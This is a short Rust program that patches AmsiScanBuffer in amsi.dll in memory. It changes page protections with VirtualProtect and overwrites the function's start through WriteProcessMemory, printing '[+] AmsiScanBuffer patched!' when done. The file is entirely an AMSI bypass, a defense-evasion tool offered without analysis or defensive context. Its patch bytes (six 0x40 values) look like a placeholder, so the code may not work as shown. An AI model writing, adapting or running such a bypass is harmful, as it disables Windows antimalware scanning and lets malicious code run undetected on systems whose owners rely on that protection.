use windows::{
    core::s,
    Win32::{
        Foundation::GetLastError,
        System::{
            Diagnostics::Debug::WriteProcessMemory,
            LibraryLoader::{GetProcAddress, LoadLibraryA},
            Memory::{PAGE_PROTECTION_FLAGS, PAGE_READWRITE, VirtualProtect},
            Threading::GetCurrentProcess,
        },
    },
    core::{PCSTR, Result},
};

use std::ffi::CString;

fn main() -> Result<()> {
    println!("[+] Patching AMSI for current Process");

    let patch = [0x40, 0x40, 0x40, 0x40u8, 0x40, 0x40];

    let name = s!("amsi.dll");

    let dll = unsafe { LoadLibraryA(name) }?;

    if dll.0.is_null() {
        return Err(windows::core::Error::from(unsafe { GetLastError() }));
    }

    let name = CString::new("AmsiScanBuffer").unwrap();

    let addr = unsafe {
        GetProcAddress(dll, PCSTR(name.as_ptr() as *const u8))
            .expect("[-] Unable to get Process Addr")
    };

    let mut old_permissions = PAGE_PROTECTION_FLAGS(0);

    let result = unsafe {
        VirtualProtect(
            addr as *const _,
            patch.len(),
            PAGE_READWRITE,
            &mut old_permissions,
        )
    };

    if result.is_err() {
        unsafe {
            return Err(windows::core::Error::from(GetLastError()));
        }
    }

    let mut bytes_written: usize = 0;

    let result = unsafe {
        WriteProcessMemory(
            GetCurrentProcess(),
            addr as *const _,
            patch.as_ptr() as *const _,
            patch.len(),
            Some(&mut bytes_written),
        )
    };

    if result.is_err() {
        unsafe {
            return Err(windows::core::Error::from(GetLastError()));
        }
    }

    let mut final_permissions = PAGE_PROTECTION_FLAGS(0);

    let result = unsafe {
        VirtualProtect(
            addr as *const _,
            patch.len(),
            old_permissions,
            &mut final_permissions,
        )
    };

    if result.is_err() {
        unsafe {
            return Err(windows::core::Error::from(GetLastError()));
        }
    }

    println!("[+] AmsiScanBuffer patched!");

    Ok(())
}
